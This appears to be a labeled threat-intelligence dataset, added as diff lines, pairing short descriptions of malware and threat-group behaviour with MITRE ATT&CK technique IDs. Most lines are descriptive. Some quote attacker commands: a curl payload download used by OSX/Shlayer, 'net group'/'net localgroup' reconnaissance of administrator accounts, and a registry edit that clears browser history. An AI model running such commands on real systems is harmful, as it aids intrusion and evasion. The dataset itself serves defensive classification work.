+HermeticWizard can use `cmd.exe` for execution on compromised hosts.	['T1059.003']
+Hi-Zor has the ability to create a reverse shell.	['T1059.003']
+HiddenWasp uses a script to automate tasks on the victim's machine and to assist in execution.	['T1059.003']
+"Higaisa used ""cmd.exe"" for execution."	['T1059.003']
+Hikit has the ability to create a remote shell and run given commands.	['T1059.003']
+Indrik Spider has used batch scripts on victim's machines.	['T1059.003']
+Ixeshe is capable of executing commands via cmd.	['T1059.003']
+JHUHUGIT uses a .bat file to execute a .dll.	['T1059.003']
+JPIN can use the command-line utility cacls.exe to change file permissions.	['T1059.003', 'T1222.001']
+KEYMARBLE can execute shell commands using cmd.exe.	['T1059.003']
+KGH_SPY has the ability to set a Registry key to run a cmd.exe command.	['T1059.003']
+KOCTOPUS has used `cmd.exe` and batch files for execution.	['T1059.003']
+KOMPROGO is capable of creating a reverse shell.	['T1059.003']
+Kasidet can execute commands using cmd.exe.	['T1059.003']
+Ke3chang has used batch scripts in its malware to install persistence mechanisms.	['T1059.003']
+Kimsuky has executed Windows commands by using `cmd` and running batch scripts.	['T1059.003']
+LazyScripter has used batch files to deploy open-source and multi-stage RATs.	['T1059.003']
+Leviathan uses a backdoor known as BADFLICK that is is capable of generating a reverse shell, and has used multiple types of scripting for execution, including JavaScript and JavaScript Scriptlets in XML..	['T1059.003']
+LightNeuron is capable of executing commands via cmd.exe.	['T1059.003']
+Linfo creates a backdoor through which remote attackers can start a remote shell.	['T1059.003']
+Lizar has a command to open the command-line on the infected system.	['T1059.003']
+"Lokibot has used ""cmd /c"" commands embedded within batch scripts."	['T1059.003']
+"LookBack executes the ""cmd.exe"" command."	['T1059.003']
+LoudMiner used a batch script to run the Linux virtual machine as a service.	['T1059.003']
+Lucifer can issue shell commands to download and execute additional payloads.	['T1059.003']
+Machete has used batch files to initiate additional downloads of malicious files.	['T1059.003']
+Magic Hound has used the command-line interface.	['T1059.003']
+MechaFlounder has the ability to run commands on a compromised host.	['T1059.003']
+"MegaCortex has used "".cmd"" scripts on the victim's system."	['T1059.003']
+Meteor can run `set.bat`, `update.bat`, `cache.bat`, `bcd.bat`, `msrun.bat`, and similar scripts.	['T1059.003']
+Micropsia creates a command-line shell using cmd.exe.	['T1059.003']
+Milan can use `cmd.exe` for discovery actions on a targeted system.	['T1059.003']
+MirageFox has the capability to execute commands using cmd.exe.	['T1059.003']
+Mis-Type has used `cmd.exe` to run commands on a compromised host.	['T1059.003']
+Misdat is capable of providing shell functionality to the attacker to execute commands.	['T1059.003']
+Mivast has the capability to open a remote shell and run basic commands.	['T1059.003']
+MoonWind can execute commands via an interactive command shell. MoonWind uses batch scripts for various purposes, including to restart and uninstall itself.	['T1059.003']
+More_eggs has used cmd.exe for execution.	['T1059.003']
+Mosquito executes cmd.exe and uses a pipe to read the results and send back the output to the C2 server.	['T1059.003']
+Mustang Panda has executed HTA files via cmd.exe, and used batch scripts for collection.	['T1059.003']
+NETWIRE can issue commands using cmd.exe.	['T1059.003']
+NanoCore can open a remote command-line interface and execute commands. NanoCore uses JavaScript files.	['T1059.003']
+Nebulae can use CMD to execute a process.	['T1059.003']
+"Nomadic Octopus used ""cmd.exe /c"" within a malicious macro."	['T1059.003']
+OceanSalt can create a reverse shell on the infected endpoint using cmd.exe. OceanSalt has been executed via malicious macros.	['T1059.003']
+OilRig has used macros to deliver malware such as QUADAGENT and OopsIE. OilRig has used batch scripts.	['T1059.003']
+Okrum's backdoor has used cmd.exe to execute arbitrary commands as well as batch scripts to update itself to a newer version.	['T1059.003']
+OopsIE uses the command prompt to execute commands on the victim's machine.	['T1059.003']
+"Operation Wocao has spawned a new ""cmd.exe"" process to execute commands."	['T1059.003']
+Operators deploying Netwalker have used batch scripts to retrieve the Netwalker payload.	['T1059.003']
+Orz can execute shell commands. Orz can execute commands with JavaScript.	['T1059.003']
+Out1 can use native command line for execution.	['T1059.003']
+OutSteel has used `cmd.exe` to scan a compromised host for specific file extensions.	['T1059.003']
+PHOREAL is capable of creating reverse shell.	['T1059.003']
+PLEAD has the ability to execute shell commands on the compromised host.	['T1059.003']
+POWRUNER can execute commands from its C2 server.	['T1059.003']
+Patchwork ran a reverse shell with Meterpreter. Patchwork used JavaScript code and .SCT files on victim machines.	['T1059.003']
+PcShare can execute `cmd` commands on a compromised host.	['T1059.003']
+Peppy has the ability to execute shell commands.	['T1059.003']
+PlugX allows actors to spawn a reverse shell on a victim.	['T1059.003']
+"Proxysvc executes a binary on the system and logs the results into a temp file by using: ""cmd.exe /c ""<file_path> > %temp%\PM* .tmp 2>&1""""."	['T1059.003']
+Pteranodon can use `cmd.exe` for execution on victim systems.	['T1059.003']
+PyDCrypt has used `cmd.exe` for execution.	['T1059.003']
+QUADAGENT uses cmd.exe to execute scripts and commands on the victim’s machine.	['T1059.003']
+QakBot can use cmd.exe to launch itself and to execute multiple C2 commands.	['T1059.003']
+RATANKBA uses cmd.exe to execute commands.	['T1059.003']
+"RDAT has executed commands using ""cmd.exe /c""."	['T1059.003']
+REvil can use the Windows command line to delete volume shadow copies and disable recovery.	['T1059.003']
+RGDoor uses cmd.exe to execute commands on the victim’s machine.	['T1059.003']
+RTM uses the command line and rundll32.exe to execute.	['T1059.003']
+Ragnar Locker has used cmd.exe and batch scripts to execute commands.	['T1059.003']
+RainyDay can use the Windows Command Shell for execution.	['T1059.003']
+Rancor has used cmd.exe to execute commmands.	['T1059.003']
+RedLeaves can receive and execute commands with cmd.exe. It can also provide a reverse shell.	['T1059.003']
+Revenge RAT uses cmd.exe to execute commands and run scripts on the victim's machine.	['T1059.003']
+RobbinHood uses cmd.exe on the victim's computer.	['T1059.003']
+RunningRAT uses a batch file to kill a security program task and then attempts to remove itself.	['T1059.003']
+"Ryuk has used ""cmd.exe"" to create a Registry entry to establish persistence."	['T1059.003']
+S-Type has provided the ability to execute shell commands on a compromised host.	['T1059.003']
+SDBbot has the ability to use the command shell to execute commands on a compromised host.	['T1059.003']
+SEASHARPEE can execute commands on victims.	['T1059.003']
+SNUGRIDE is capable of executing commands and spawning a reverse shell.	['T1059.003']
+STARWHALE has the ability to execute commands via `cmd.exe`.	['T1059.003']
+SYSCON has the ability to execute commands through cmd on a compromised host.	['T1059.003']
+Saint Bot has used `cmd.exe` and `.bat` scripts for execution.	['T1059.003']
+Sakula calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. Sakula also has the capability to invoke a reverse shell.	['T1059.003']
+SamSam uses custom batch scripts to execute some of its components.	['T1059.003']
+"Sandworm Team has run the  ""xp_cmdshell"" command in MS-SQL."	['T1059.003']
+SeaDuke is capable of executing commands.	['T1059.003']
+Seasalt uses cmd.exe to create a reverse shell on the infected endpoint.	['T1059.003']
+Seth-Locker can execute commands via the command line shell.	['T1059.003']
+Several tools used by Suckfly have been command-line driven.	['T1059.003']
+Shark has the ability to use `CMD` to execute commands.	['T1059.003']
+SharpStage can execute arbitrary commands with the command line.	['T1059.003']
+ShimRat can be issued a command shell function from the C2.	['T1059.003']
+SideTwist can execute shell commands on a compromised host.	['T1059.003']
+Small Sieve can use `cmd.exe` to execute commands on a victim's system.	['T1059.003']
+StreamEx has the ability to remotely execute commands.	['T1059.003']
+"TA505 has executed commands using ""cmd.exe""."	['T1059.003']
+"TA551 has used ""cmd.exe"" to execute commands."	['T1059.003']
+TAINTEDSCRIBE can enable Windows CLI access and execute files.	['T1059.003']
+TDTESS provides a reverse shell on the victim.	['T1059.003']
+TEXTMATE executes cmd.exe to provide a reverse shell to adversaries.	['T1059.003']
+TYPEFRAME can uninstall malware components using a batch script. TYPEFRAME can execute commands using a shell.	['T1059.003']
+Taidoor can copy cmd.exe into the system temp folder.	['T1059.003']
+"Tarrask may abuse the Windows schtasks command-line tool to create ""hidden"" scheduled tasks."	['T1059.003']
+TeamTNT has used batch scripts to download tools and executing cryptocurrency miners.	['T1059.003']
+"The C# implementation of  the CharmPower command execution module can use ""cmd""."	['T1059.003']
+The Maze encryption process has used batch scripts with various commands.	['T1059.003']
+Threat Group-1314 actors spawned shells on remote systems on a victim network to execute commands.	['T1059.003']
+Threat Group-3390 has used command-line interfaces for execution.	['T1059.003']
+TinyTurla has been installed using a .bat file.	['T1059.003']
+TrickBot has used macros in Excel documents to download and deploy the malware on the user’s machine.	['T1059.003']
+Trojan.Karagany can perform reconnaissance commands on a victim machine via a cmd.exe process.	['T1059.003']
+Tropic Trooper has used Windows command scripts.	['T1059.003']
+Turian can create a remote shell and execute commands using cmd.	['T1059.003']
+UBoatRAT can start a command shell.	['T1059.003']
+"UNC2452 used ""cmd.exe"" to execute commands on remote machines."	['T1059.003']
+UPPERCUT uses cmd.exe to execute commands on the victim’s machine.	['T1059.003']
+USBferry can execute various Windows commands.	['T1059.003']
+Umbreon provides access using both standard facilities like SSH and additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet	['T1059.003']
+Volgmer can execute commands on the victim's machine.	['T1059.003']
+WEBC2 can open an interactive command shell.	['T1059.003']
+WarzoneRAT can use `cmd.exe` to execute malicious code.	['T1059.003']
+WellMess can execute command line scripts received from C2.	['T1059.003']
+Wiarp creates a backdoor through which remote attackers can open a command line interface.	['T1059.003']
+XTunnel has been used to execute remote commands.	['T1059.003']
+Zebrocy uses cmd.exe to execute commands on the system.	['T1059.003']
+ZxShell can launch a reverse command shell.	['T1059.003']
+adbupd can run a copy of cmd.exe.	['T1059.003']
+ccf32 has used `cmd.exe` for archiving data and deleting files.	['T1059.003']
+cmd is used to execute programs and other actions at the command-line interface.	['T1059.003']
+hcdLoader provides command-line access to the compromised system.	['T1059.003']
+httpclient opens cmd.exe on the victim.	['T1059.003']
+jRAT has command line access.	['T1059.003']
+menuPass executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands. menuPass has used malicious macros embedded inside Office documents to execute files.	['T1059.003']
+njRAT can launch a command shell interface for executing commands.	['T1059.003']
+xCaon has a command to start an interactive shell.	['T1059.003']
+zwShell can launch command-line shells.	['T1059.003']
+Anchor can execute payloads via shell scripting.	['T1059.004']
+Bundlore has leveraged /bin/sh and /bin/bash to execute commands on the victim machine.	['T1059.004']
+CallMe has the capability to create a reverse shell on victims.	['T1059.004']
+Chaos provides a reverse shell connection on 8338/TCP, encrypted via AES.	['T1059.004', 'T1573.001']
+CookieMiner has used a Unix shell script to run a series of commands targeting macOS.	['T1059.004']
+Drovorub can execute arbitrary commands as root on a compromised system.	['T1059.004']
+Exaramel for Linux has a command to execute a shell command on the system.	['T1059.004']
+Fysbis has the ability to create and execute commands in a remote shell for CLI.	['T1059.004']
+Kinsing has used Unix shell scripts to execute commands in the victim environment.	['T1059.004']
+Kobalos can spawn a new pseudo-terminal and execute arbitrary commands at the command prompt.	['T1059.004']
+LoudMiner used shell scripts to launch various services and to start/stop the QEMU virtualization.	['T1059.004']
+MacMa can execute supplied shell commands and uses bash scripts to perform additional actions.	['T1059.004']
+"NETWIRE has the ability to use ""/bin/bash"" and ""/bin/sh"" to execute commands."	['T1059.004']
+"OSX/Shlayer can use bash scripts to check the macOS version, download payloads, and extract bytes from files. OSX/Shlayer uses the command ""sh -c tail -c +1381..."" to extract bytes at an offset from a specified file. OSX/Shlayer uses the ""curl -fsL ""$url"" >$tmp_path"" command to download malicious payloads into a temporary directory."	['T1059.004']
+Penquin can execute remote commands using bash scripts.	['T1059.004']
+Proton uses macOS' .command file type to script actions.	['T1059.004']
+Rocke used shell scripts to run commands which would obtain persistence and execute the cryptocurrency mining malware.	['T1059.004']
+"Skidmap has used ""pm.sh"" to download and install its main payload."	['T1059.004']
+TeamTNT has used shell scripts for execution.	['T1059.004']
+"XCSSET uses a shell script to execute Mach-o files and ""osacompile"" commands such as, ""osacompile -x -o xcode.app main.applescript""."	['T1059.004']
+APT29 has written malware variants in Visual Basic.	['T1059.005']
+APT33 has used VBScript to initiate the delivery of payloads.	['T1059.005']
+APT37 executes shellcode and a VBA script to decode Base64 strings.	['T1059.005']
+APT38 has used VBScript to execute commands and other operational tasks.	['T1059.005']
+APT39 has utilized malicious VBS scripts in malware.	['T1059.005']
+Astaroth has used malicious VBS e-mail attachments for execution.	['T1059.005']
+BRONZE BUTLER has used VBS and VBE scripts for execution.	['T1059.005']
+BackConfig has used VBS to install its downloader component and malicious documents with VBA macro code.	['T1059.005']
+Bisonal's dropper creates VBS scripts on the victim’s machine.	['T1059.005']
+Bumblebee can create a Visual Basic script to enable persistence.	['T1059.005']
+Chaes has used VBscript to execute malicious code.	['T1059.005']
+Cobalt Group has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution.	['T1059.005']
+Cobalt Strike can use VBA to perform execution.	['T1059.005']
+Confucius has used VBScript to execute malicious code.	['T1059.005']
+DanBot can use a VBA macro embedded in an Excel file to drop the payload.	['T1059.005']
+Donut can generate shellcode outputs that execute via VBScript.	['T1059.005']
+During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.	['T1059.005']
+During Frankenstein, the threat actors used Word documents that prompted the victim to enable macros and run a Visual Basic script.	['T1059.005']
+During Operation CuckooBees, the threat actors executed an encoded VBScript file using `wscript` and wrote the decoded output to a text file.	['T1059.005']
+During Operation Dust Storm, the threat actors used Visual Basic scripts.	['T1059.005']
+During Operation Sharpshooter, the threat actors used a VBA macro to execute a simple downloader that installed Rising Sun.	['T1059.005']
+Earth Lusca used VBA scripts.	['T1059.005']
+Emotet has sent Microsoft Word documents with embedded macros that will invoke scripts to download additional payloads.	['T1059.005']
+FIN4 has used VBA macros to display a dialog box and collect victim credentials.	['T1059.005']
+Ferocious has the ability to use Visual Basic scripts for execution.	['T1059.005']
+Flagpro can execute malicious VBA macros embedded in .xlsm files.	['T1059.005']
+For Operation Honeybee, the threat actors used a Visual Basic script embedded within a Word document to download an implant.	['T1059.005']
+Gamaredon Group has embedded malicious macros in document templates, which executed VBScript. Gamaredon Group has also delivered Microsoft Outlook VBA projects with embedded macros.	['T1059.005']
+Goopy has the ability to use a Microsoft Outlook backdoor macro to communicate with its C2.	['T1059.005', 'T1071.003']
+Grandoreiro can use VBScript to execute malicious code.	['T1059.005']
+Honeybee embeds a Visual Basic script within a malicious Word document as part of initial access; the script is executed when the Word document is opened.	['T1059.005']
+IcedID has used obfuscated VBA string expressions.	['T1059.005']
+Inception has used VBScript to execute malicious commands and payloads.	['T1059.005']
+JCry has used VBS scripts.	['T1059.005']
+JSS Loader can download and execute VBScript files.	['T1059.005']
+Javali has used embedded VBScript to download malicious payloads from C2.	['T1059.005']
+KOCTOPUS has used VBScript to call wscript to execute a PowerShell command.	['T1059.005']
+Kimsuky has used Visual Basic to download malicious payloads. Kimsuky has also used malicious VBA macros within maldocs disguised as forms that trigger when a victim types any content into the lure.	['T1059.005']
+Koadic performs most of its operations using Windows Script Host (VBScript) and runs arbitrary shellcode .	['T1059.005']
+Lazarus Group has used VBA and embedded macros in Word documents to execute malicious code.	['T1059.005']
+Lazarus Group has used VBScript to gather information about a victim machine.	['T1059.005']
+Lokibot has used VBS scripts and XLS macros for execution.	['T1059.005']
+LookBack has used VBA macros in Microsoft Word attachments to drop additional files to the host.	['T1059.005']
+Machete has embedded malicious macros within spearphishing attachments to download additional files.	['T1059.005']
+Magic Hound malware has used VBS scripts for execution.	['T1059.005']
+Melcoz can use VBS scripts to execute malicious DLLs.	['T1059.005']
+Metamorfo has used VBS code on victims’ systems.	['T1059.005']
+MuddyWater has used VBScript files to execute its POWERSTATS payload, as well as macros.	['T1059.005']
+NETWIRE has been executed through use of VBScripts.	['T1059.005']
+NanHaiShu executes additional VBScript code on the victim's machine.	['T1059.005']
+NanoCore uses VBS files.	['T1059.005']
+OSX_OCEANLOTUS.D uses Word macros for execution.	['T1059.005']
+OilRig has used VBSscipt macros for execution on compromised hosts.	['T1059.005']
+One version of Helminth consists of VBScript scripts.	['T1059.005']
+OopsIE creates and uses a VBScript as part of its persistent execution.	['T1059.005']
+Operation Wocao has used a VBScript to conduct reconnaissance on targeted systems.	['T1059.005']
+POWERSTATS can use VBScript (VBE) code for execution.	['T1059.005']
+Patchwork used Visual Basic Scripts (VBS) on victim machines.	['T1059.005']
+Pteranodon can use a malicious VBS file for execution.	['T1059.005']
+QUADAGENT uses VBScripts.	['T1059.005']
+REvil has used obfuscated VBA macros for execution.	['T1059.005']
+Ramsay has included embedded Visual Basic scripts in malicious documents.	['T1059.005']
+Rancor has used VBS scripts as well as embedded macros for execution.	['T1059.005']
+Remexi uses AutoIt and VBS scripts throughout its execution process.	['T1059.005']
+SUNBURST used VBScripts to initiate the execution of payloads.	['T1059.005']
+Saint Bot has used `.vbs` scripts for execution.	['T1059.005']
+Sibot executes commands using VBScript.	['T1059.005']
+Sidewinder has used VBScript to drop and execute malware loaders.	['T1059.005']
+Silence has used VBS scripts.	['T1059.005']
+Smoke Loader adds a Visual Basic script in the Startup folder to deploy the payload.	['T1059.005']
+StoneDrill has several VBS scripts used throughout the malware's lifecycle.	['T1059.005']
+TA459 has a VBScript for execution.	['T1059.005']
+TA505 has used VBS for code execution.	['T1059.005']
+TYPEFRAME has used a malicious Word document for delivery with VBA macros for execution.	['T1059.005']
+Transparent Tribe has crafted VBS-based malicious documents.	['T1059.005']
+Turla has used VBS scripts throughout its operations.	['T1059.005']
+Ursnif droppers have used VBA macros to download and execute the malware's full executable payload.	['T1059.005']
+WIRTE has used VBScript  in its operations.	['T1059.005']
+WhisperGate can use a Visual Basic script to exclude the `C:\` drive from Windows Defender.	['T1059.005']
+Windshift has used Visual Basic 6 (VB6) payloads.	['T1059.005']
+jRAT has been distributed as HTA files with VBScript.	['T1059.005']
+APT29 has developed malware variants written in Python.	['T1059.006']
+APT37 has used Python scripts to execute payloads.	['T1059.006']
+APT39 has used a command line utility and a network scanner written in python.	['T1059.006']
+BRONZE BUTLER has made use of Python-based remote access tools.	['T1059.006']
+Bundlore has used Python scripts to execute payloads.	['T1059.006']
+Cobalt Strike can use Python to perform execution.	['T1059.006']
+CoinTicker executes a Python script to download its second stage.	['T1059.006', 'T1105']
+CookieMiner has used python scripts on the user’s system, as well as the Python variant of the Empire agent, EmPyre.	['T1059.006']
+Dragonfly 2.0 used various types of scripting to perform operations, including Python scripts. The group was observed installing Python 2.7 on a victim.	['T1059.006']
+Dragonfly has used various types of scripting to perform operations, including Python scripts. The group was observed installing Python 2.7 on a victim.	['T1059.006']
+DropBook is a Python-based backdoor compiled with PyInstaller.	['T1059.006']
+During Operation Wocao, threat actors' backdoors were written in Python and compiled with py2exe.	['T1059.006']
+IronNetInjector can use IronPython scripts to load payloads with the help of a .NET injector.	['T1059.006']
+KeyBoy uses Python scripts for installing files and performing execution.	['T1059.006']
+Keydnap uses Python for scripting to execute additional commands.	['T1059.006']
+Machete used multiple compiled Python scripts on the victim’s system. Machete's main backdoor Machete is also written in Python.	['T1059.006']
+MechaFlounder uses a python-based payload.	['T1059.006']
+MuddyWater has used developed tools in Python including Out1.	['T1059.006']
+Operation Wocao's backdoors have been written in Python and compiled with py2exe.	['T1059.006']
+PUNCHBUGGY has used python scripts.	['T1059.006']
+Pupy can use an add on feature when creating payloads that allows you to create custom Python scripts (“scriptlets”) to perform tasks offline (without requiring a session) such as sandbox detection, adding persistence, etc.	['T1059.006']
+PyDCrypt, along with its functions, is written in Python.	['T1059.006']
+Pysa has used Python scripts to deploy ransomware.	['T1059.006']
+Remcos uses Python scripts.	['T1059.006']
+Rocke has used Python-based malware to install and spread their coinminer.	['T1059.006']
+Small Sieve can use Python scripts to execute commands.	['T1059.006']
+SpeakUp uses Python scripts.	['T1059.006']
+TRITON was run as trilog.exe, a Py2EXE compiled python script that accepts a single IP address as a flag.	['T1059.006']
+Turian has the ability to use Python to spawn a Unix shell.	['T1059.006']
+Turla has used IronPython scripts as part of the IronNetInjector toolchain to drop payloads.	['T1059.006']
+ZIRCONIUM has used Python-based implants to interact with compromised hosts.	['T1059.006']
+APT32 has used JavaScript for drive-by downloads and C2 communications.	['T1059.007']
+AppleSeed has the ability to use JavaScript to execute PowerShell.	['T1059.007']
+Astaroth uses JavaScript to perform its core functionalities.	['T1059.007']
+Bundlore can execute JavaScript by injecting it into the victim's browser.	['T1059.007']
+Chaes has used JavaScript and Node.Js information stealer script that exfiltrates data using the node process.	['T1059.007']
+Cobalt Group has executed JavaScript scriptlets on the victim's machine.	['T1059.007']
+During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.	['T1059.007']
+During Operation Dust Storm, the threat actors used JavaScript code.	['T1059.007']
+Earth Lusca has manipulated legitimate websites to inject malicious JavaScript code as part of their watering hole operations.	['T1059.007']
+Ember Bear has used JavaScript to execute malicious code on a victim's machine.	['T1059.007']
+EnvyScout can write files to disk with JavaScript using a modified version of the open-source tool FileSaver.	['T1059.007']
+Evilnum has used malicious JavaScript files on the victim's machine.	['T1059.007']
+FIN6 has used malicious JavaScript to steal payment card data from e-commerce sites.	['T1059.007']
+Indrik Spider has used malicious JavaScript files for several components of their attack.	['T1059.007']
+JSS Loader can download and execute JavaScript files.	['T1059.007']
+KONNI has executed malicious JavaScript code.	['T1059.007']
+LazyScripter has used JavaScript in its attacks.	['T1059.007']
+Leafminer infected victims using JavaScript code.	['T1059.007']
+Metamorfo includes payloads written in JavaScript.	['T1059.007']
+Molerats used various implants, including those built with JS, on target machines.	['T1059.007']
+MuddyWater has used JavaScript files to execute its POWERSTATS payload.	['T1059.007']
+NanHaiShu executes additional Jscript code on the victim's machine.	['T1059.007']
+POWERSTATS can use JavaScript code for execution.	['T1059.007']
+Sidewinder has used JavaScript to drop and execute malware loaders.	['T1059.007']
+Silence has used JS scripts.	['T1059.007']
+SpicyOmelette has the ability to execute arbitrary JavaScript code on a compromised host.	['T1059.007']
+The Cobalt Strike System Profiler can use JavaScript to perform reconnaissance actions.	['T1059.007']
+The QakBot web inject module can inject Java Script into web banking pages visited by the victim.	['T1059.007']
+Turla has used various JavaScript-based backdoors.	['T1059.007']
+Valak can execute JavaScript containing configuration data for establishing persistence.	['T1059.007']
+Xbash can execute malicious JavaScript payloads on the victim’s machine.	['T1059.007']
+jRAT has been distributed as HTA files with JScript.	['T1059.007']
+APT28 has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges.	['T1068']
+APT29 has exploited CVE-2021-36934 to escalate privileges on a compromised host.	['T1068']
+APT32 has used CVE-2016-7255 to escalate privileges.	['T1068']
+Carberp has exploited multiple Windows vulnerabilities (CVE-2010-2743, CVE-2010-3338, CVE-2010-4398, CVE-2008-1084) and a .NET Runtime Optimization vulnerability for privilege escalation.	['T1068']
+Empire can exploit vulnerabilities such as MS16-032 and MS16-135.	['T1068']
+Hildegard has used the BOtB tool which exploits CVE-2019-5736.	['T1068']
+InvisiMole has exploited CVE-2007-5633 vulnerability in the speedfan.sys driver to obtain kernel mode privileges.	['T1068']
+JHUHUGIT has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.	['T1068']
+LAPSUS$ has exploited unpatched vulnerabilities on internally accessible servers including JIRA, GitLab, and Confluence for privilege escalation.	['T1068']
+PLATINUM has leveraged a zero-day vulnerability to escalate privileges.	['T1068']
+Pandora can use CVE-2017-15303 to bypass Windows Driver Signature Enforcement (DSE) protection and load its driver.	['T1068']
+PoshC2 contains modules for local privilege escalation exploits such as CVE-2016-9192 and CVE-2016-0099.	['T1068']
+Siloscape has leveraged a vulnerability in Windows containers to perform an Escape to Host.	['T1068']
+Tonto Team has exploited CVE-2019-0803 and MS16-032 to escalate privileges.	['T1068']
+Whitefly has used an open-source tool to exploit a known Windows privilege escalation vulnerability (CVE-2016-0051) on unpatched computers.	['T1068']
+Wingbird exploits CVE-2016-4117 to allow an executable to gain escalated privileges.	['T1068']
+ZIRCONIUM has exploited CVE-2017-0005 for local privilege escalation.	['T1068']
+Zox has the ability to leverage local and remote exploits to escalate privileges.	['T1068']
+"APT29 used the ""Get-ManagementRoleAssignment"" PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell."	['T1069']
+APT3 has a tool that can enumerate the permissions associated with Windows groups.	['T1069']
+IcedID has the ability to identify Workgroup membership.	['T1069']
+MURKYTOP has the capability to retrieve information about groups.	['T1069']
+PUNCHBUGGY can gather domain and workgroup information.	['T1069']
+"TA505 has used TinyMet to enumerate members of privileged groups. TA505 has also run ""net group /domain""."	['T1069']
+"UNC2452 used the ""Get-ManagementRoleAssignment"" PowerShell cmdlet to enumerate Exchange management role assignments through an Exchange Management Shell."	['T1069']
+"Chimera has used ""net localgroup administrators"" to identify  accounts with local administrative rights."	['T1069.001']
+"Cobalt Strike can use ""net localgroup"" to list local groups on a system."	['T1069.001']
+"Commands such as ""net group"" and ""net localgroup"" can be used in Net to gather information about and manipulate groups."	['T1069.001']
+"During C0015, the threat actors used the command `net localgroup ""adminstrator"" ` to identify accounts with local administrator rights."	['T1069.001']
+During Operation CuckooBees, the threat actors used the `net group` command as part of their advanced reconnaissance.	['T1069.001']
+During Operation Wocao, threat actors used the command `net localgroup administrators` to list all administrators part of a local group.	['T1069.001']
+"Emissary has the capability to execute the command ""net localgroup administrators""."	['T1069.001']
+Epic gathers information on local group names.	['T1069.001']
+"Flagpro has been used to execute the ""net localgroup administrators"" command on a targeted system."	['T1069.001']
+Helminth has checked the local administrators group.	['T1069.001']
+JPIN can obtain the permissions of the victim user.	['T1069.001']
+Kazuar gathers information about local groups and members.	['T1069.001']
+"Kwampirs collects a list of users belonging to the local users and administrators groups with the commands ""net localgroup administrators"" and ""net localgroup users""."	['T1069.001']
+OSInfo has enumerated the local administrators group.	['T1069.001']
+"OilRig has used ""net localgroup administrators"" to find local administrators on compromised systems."	['T1069.001']
+"POWRUNER may collect local group information by running ""net localgroup administrators"" or a series of other commands on a victim."	['T1069.001']
+"PoshC2 contains modules, such as ""Get-LocAdm"" for enumerating permission groups."	['T1069.001']
+"QakBot can use ""net localgroup"" to enable discovery of local groups."	['T1069.001']
+"Tonto Team has used the ""ShowLocalGroupDetails"" command to identify administrator, user, and guest accounts on a compromised host."	['T1069.001']
+"Turla has used ""net localgroup"" and ""net localgroup Administrators"" to enumerate group information, including members of the local administrators group."	['T1069.001']
+"admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to list local groups: ""net localgroup administrator >> %temp%\download"""	['T1069.001']
+APT29 has used AdFind to enumerate domain groups.	['T1069.002']
+AdFind can enumerate domain groups.	['T1069.002']
+BloodHound can collect information about domain groups and members.	['T1069.002']
+Cobalt Strike can identify targets by querying account groups on a domain contoller.	['T1069.002']
+"Commands such as ""net group /domain"" can be used in Net to gather information about and manipulate groups."	['T1069.002']
+CrackMapExec can gather the user accounts within domain groups.	['T1069.002']
+Dragonfly 2.0 used batch scripts to enumerate administrators and users in the domain.	['T1069.002']
+"During C0015, the threat actors use the command `net group ""domain admins"" /dom` to enumerate domain groups."	['T1069.002']
+"Helminth has checked for the domain admin group and Exchange Trusted Subsystem groups using the commands ""net group Exchange Trusted Subsystem /domain"" and ""net group domain admins /domain""."	['T1069.002']
+Inception has used specific malware modules to gather domain membership.	['T1069.002']
+"Ke3chang performs discovery of permission groups ""net group /domain""."	['T1069.002']
+"Kwampirs collects a list of domain groups with the command ""net localgroup /domain""."	['T1069.002']
+LAPSUS$ has used the AD Explorer tool to enumerate groups on a victim's network.	['T1069.002']
+OSInfo specifically looks for Domain Admins and power users within the domain.	['T1069.002']
+REvil can identify the domain membership of a compromised host.	['T1069.002']
+"SoreFang can enumerate domain groups by executing ""net.exe group /domain""."	['T1069.002']
+"Turla has used ""net group ""Domain Admins"" /domain"" to identify domain administrators."	['T1069.002']
+WellMess can identify domain group membership for the current user.	['T1069.002']
+"Wizard Spider has used ""AdFind.exe"" to collect information about Active Directory groups and accounts."	['T1069.002']
+dsquery can be used to gather information on permission groups within a domain.	['T1069.002']
+AADInternals can enumerate Azure AD groups.	['T1069.003']
+ROADTools can enumerate Azure AD groups.	['T1069.003']
+APT29 temporarily replaced legitimate utilities with their own, executed their payload, and then restored the original file.	['T1070']
+APT29 used SDelete to remove artifacts from victims.	['T1070']
+Bankshot deletes all artifacts associated with the malware from the infected machine.	['T1070']
+Bazar's loader can delete scheduled tasks created by a previous instance of the malware.	['T1070', 'T1070.009']
+"BlackEnergy has removed the watermark associated with enabling the ""TESTSIGNING"" boot configuration option by removing the relevant strings in the ""user32.dll.mui"" of the system."	['T1070']
+Donut can erase file references to payloads in-memory after being reflectively loaded and executed.	['T1070']
+Dragonfly deleted system, security, terminal services, remote services, and audit logs from a victim.	['T1070']
+"EVILNUM has a function called ""DeleteLeftovers"" to remove certain artifacts of the attack."	['T1070']
+Flagpro can close specific Windows Security and Internet Explorer dialog boxes to mask external connections.	['T1070']
+Goopy has the ability to delete emails used for C2 once the content has been copied.	['T1070', 'T1070.008']
+GrimAgent can delete previously created tasks on a compromised host.	['T1070', 'T1070.009']
+HermeticWiper can disable pop-up information about folders and desktop items and delete Registry keys to hide malicious services.	['T1070']
+KOCTOPUS can delete created registry keys as part of its cleanup procedure.	['T1070']
+Lazarus Group has restored malicious KernelCallbackTable code to its original state after the process execution flow has been hijacked.	['T1070']
+Maze has used the “Wow64RevertWow64FsRedirection” function following attempts to delete the shadow volumes, in order to leave the system in the same state as it was prior to redirection.	['T1070']
+"Metamorfo has a command to delete a Registry key it uses, ""\Software\Microsoft\Internet Explorer\notes""."	['T1070']
+Misdat is capable of deleting Registry keys used for persistence.	['T1070', 'T1070.009']
+Neoichor can clear the browser history on a compromised host by changing the `ClearBrowsingHistoryOnExit` value to 1 in the `HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Privacy` Registry key.	['T1070']
+Orz can overwrite Registry settings to reduce its visibility on the victim.	['T1070']
